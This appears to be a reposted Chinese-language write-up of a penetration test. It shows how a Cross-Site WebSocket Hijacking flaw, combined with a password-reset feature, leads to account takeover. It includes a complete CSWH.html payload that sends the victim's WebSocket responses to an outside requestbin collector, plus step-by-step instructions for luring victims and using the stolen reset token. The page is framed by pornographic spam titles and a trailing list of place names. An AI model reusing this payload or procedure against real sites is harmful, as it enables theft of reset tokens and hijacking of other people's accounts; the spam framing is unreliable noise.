亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何利用跨站WebSocket劫持CSWH實現賬戶劫持

發布時間:2021-12-16 18:08:48 來源:億速云 閱讀:250 作者:柒染 欄目:安全技術

本篇文章給大家分享的是有關如何利用跨站WebSocket劫持CSWH實現賬戶劫持,小編覺得挺實用的,因此分享給大家學習,希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。

下面分享的是作者在某次漏洞測試中,由于目標應用使用了WebSocket協議,經測試后,存在跨站WebSocket劫持漏洞。之后,作者利用該漏洞結合用戶密碼重置功能,實現了對目標應用注冊賬戶的賬戶劫持攻擊。

WebSocket協議技術

WebSocket 是 HTML5 推出的新協議,跟 HTTP 協議內容本身沒有關系。WebSocket 是持久化的協議,而 HTTP 是非持久連接。WebSocket 提供了全雙工溝通,俗稱 Web 的 TCP 連接,且WebSocket 基于 TCP 實現了消息流。WebSocket 也類似于 TCP 一樣進行握手連接,跟 TCP 不同的是,WebSocket 是基于 HTTP 協議進行的握手,它在客戶端和服務器之間提供了一個基于單 TCP 連接的高效全雙工通信信道。通信協議從 http://或 https://切換到 ws://或 wss://后,表示應用已經切換到了WebSocket協議通信狀態。

對于實時性要求比較高的應用而言,譬如在線證券、在線游戲,以及不同設備之間信息同步。信息實時同步一直是技術難題,在 WebSocket 出現之前,常見解決方案一般就是輪詢(Polling)和 Comet 技術,但這些技術增加了設計復雜度,也造成了網絡和服務器的額外負擔,在負載較大的情況下效率相對低下,導致應用的可伸縮行收到制約。對于此類應用的開發者來說,WebSocket 技術簡直就是神兵利器,詳細可登陸 websocket.org 網站查看具體應用案例。

跨站WebSocket劫持漏洞

例如,以下是websocket.org 網站和其Echo 測試服務器echo.websocket.org之間,從HTTP到WebSocket協議升級切換的握手請求和響應。

WebSocket 協議切換請求:

GET ws://echo.websocket.org/?encoding=text HTTP/1.1
Host: echo.websocket.org
Connection: Upgrade
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket
Origin: http://www.websocket.org
Sec-WebSocket-Version: 13
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) Chrome/49.0.2623.110
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8,zh-CN;q=0.6
Cookie: _gat=1; _ga=GA1.2.2904372.1459647651; JSESSIONID=1A9431CF043F851E0356F5837845B2EC
Sec-WebSocket-Key: 7ARps0AjsHN8bx5dCI1KKQ==
Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits

Connection:Upgrade 和 Upgrade:websocket 這兩行,相當于告訴服務器端:我要申請切換到 WebSocket 協議。

WebSocket 協議切換響應:

HTTP/1.1 101 Web Socket Protocol Handshake
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: content-type
Access-Control-Allow-Headers: authorization
Access-Control-Allow-Headers: x-websocket-extensions
Access-Control-Allow-Headers: x-websocket-version
Access-Control-Allow-Headers: x-websocket-protocol
Access-Control-Allow-Origin: http://www.websocket.org
Connection: Upgrade
Date: Sun, 03 Apr 2016 03:09:21 GMT
Sec-WebSocket-Accept: wW9Bl95VtfJDbpHdfivy7csOaDo=
Server: Kaazing Gateway
Upgrade: websocket

一旦服務器端返回 101 響應,即可完成 WebSocket 協議切換。服務器端即可以基于相同端口,將通信協議從 http://或 https://切換到 ws://或 wss://。協議切換完成后,瀏覽器和服務器端即可以使用 WebSocket API 互相發送和收取文本和二進制消息。

從以上請求響應消息中可以看到,WebSocket 協議沒有規范 Origin 必須相同,沒有指定“Access-Control-Allow-Origin”,也沒有規定服務器在握手階段應該如何認證客戶端身份,跨域資源共享 Cross-Origin Resource Sharing(CORS)機制并不適用WebSocket 協議。所以在此來說,攻擊者可以偽造握手請求來繞過身份認證,最終實現的效果就是跨站點WebSocket劫持攻擊(Cross-Site WebSocket Hijacking,CSWH)。

發現跨站WebSocket劫持漏洞

有了以上對跨站點WebSocket劫持攻擊的理解,作者在某邀請測試項目中,發現了某個使用了WebSocket協議連接的應用,在分析了WebSocket URL之后,作者發現其存在跨站WebSocket劫持漏洞。

假設某個應用用wss://website.com的方式建立起了WebSocket協議通道,要驗證它是否存在跨站WebSocket劫持漏洞,可以遵循以下幾個步驟:

1、在瀏覽器中打開目標Web應用頁面;

2、在瀏覽器新選項卡中訪問http://websocket.org/echo.html這個測試頁面,在其中的Location處輸入上述目標應用的WebSocket URL- wss://website.com,點擊 ‘Connect’連接;

如何利用跨站WebSocket劫持CSWH實現賬戶劫持3、一旦和目標WebSocket URL建立起了WebSocket連接,就可以通過該測試頁面向目標服務器中發送數據。在該過過程,我們可以利用BurpSuite來抓取有效連接的websocket數據session包,然后,通過更改origin頭的方式進行包重放,查看目標服務器的響應情況。如果重放后服務器的響應與前面有效session發送的正常包相同,那就說明該應用可能存在跨站WebSocket劫持漏洞。

當然,還可以利用跨站點WebSocket劫持漏洞檢測網站 - http://ironwasp.org/cswsh.html,來確定該漏洞是否存在。通過以上幾個步驟的檢測分析,最終我發現該應用存在跨站WebSocket劫持漏洞。

利用跨站WebSocket劫持漏洞劫持賬戶

當我在瀏覽器中和目標應用建立起WebSocket連接之后,我就能獲取到類似以下的WebSocket響應數據包:

如何利用跨站WebSocket劫持CSWH實現賬戶劫持仔細查看上圖,可以發現,其中包含了一個名為 “_forgotPasswordId” 且值為“null”的參數,所以,現在我們需要來確定這個 “_forgotPasswordId” 的值,看看能否對它進行利用。對應的,我在瀏覽器中,用https方式,輸入了目標應用相關的某個注冊郵箱對應用戶的忘記密碼功能頁面,如下:

如何利用跨站WebSocket劫持CSWH實現賬戶劫持之后,我查看此時的WebSocket響應數據包時,它為forgotPassword帶了一個token,很明顯,這表示我的此次操作得到了服務端驗證。

如何利用跨站WebSocket劫持CSWH實現賬戶劫持所以,這種跨站WebSocket劫持和密碼重置功能的組合,可以充分利用形成對目標應用特定用戶的賬戶劫持。為此,我寫了以下的Payload腳本CSWH.html,用XHR方式向目標應用服務端發送WebSocket連接請求:

   <!-- Reference http://www.websocket.org/echo.html -->
<!DOCTYPE html>
   <meta charset="utf-8" />
   <title>Testing</title>
   <script language="javascript" type="text/javascript">
   var wsUri = "wss://host.com";
   var output;
   function init()
   {
  output = document.getElementById("output");
  testWebSocket();
   }
   function testWebSocket()
   {
  websocket = new WebSocket(wsUri);
  websocket.onopen = function(evt) { onOpen(evt) };
  websocket.onclose = function(evt) { onClose(evt) };
  websocket.onmessage = function(evt) { onMessage(evt) };
  websocket.onerror = function(evt) { onError(evt) };
   }
   function onOpen(evt)
   {
  writeToScreen("CONNECTED");
  doSend('websocket frame ');
   }
   function onClose(evt)
   {
  writeToScreen("DISCONNECTED");
   }
   function onMessage(evt)
   {
 
 var xhr = new XMLHttpRequest();
 xhr.open("POST", "http://requestbin.fullcontact.com/1143n2w1", true);
 xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
 xhr.send(evt.data);
  websocket.close();
   }
   function onError(evt)
   {
  writeToScreen('<span >ERROR:</span> ' + evt.data);
   }
   function doSend(message)
   {
  writeToScreen("SENT: " + message);
  websocket.send(message);
   }
   function writeToScreen(message)
   {
  var pre = document.createElement("p");
  pre.style.wordWrap = "break-word";
  pre.innerHTML = message;
  output.appendChild(pre);
   }
   window.addEventListener("load", init, false);
   </script>
   <h3>WebSocket Test</h3>
   <div id="output"></div>

 賬號劫持步驟:

1、把目標應用的正常密碼重置請求頁面發送給受害者;

2、在攻擊者網站托管上述CSWH.html,把該html訪問鏈接也發送受害者;

3、一旦受害者分別點擊了上述兩個URL鏈接之后,攻擊者端就能通過數據包監聽方式獲取到目標應用服務端對此次密碼重置的Websocket響應消息,如下:

如何利用跨站WebSocket劫持CSWH實現賬戶劫持

4、利用其中的密碼重置token,我們就能向目標應用服務端偽造請求,實現對受害者賬戶的密碼重置,以此實現對其賬戶劫持。

以上就是如何利用跨站WebSocket劫持CSWH實現賬戶劫持,小編相信有部分知識點可能是我們日常工作會見到或用到的。希望你能通過這篇文章學到更多知識。更多詳情敬請關注億速云行業資訊頻道。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

凤翔县| 黄冈市| 林口县| 高唐县| 政和县| 万盛区| 虎林市| 改则县| 宁南县| 平和县| 临朐县| 兴安盟| 威海市| 徐闻县| 宁明县| 石屏县| 柳河县| 专栏| 波密县| 墨脱县| 岳池县| 蒙山县| 荥阳市| 富阳市| 敖汉旗| 澄城县| 湟源县| 崇仁县| 化隆| 那曲县| 汝南县| 元朗区| 衡阳县| 武安市| 屏山县| 本溪市| 大渡口区| 祁东县| 日喀则市| 逊克县| 温州市|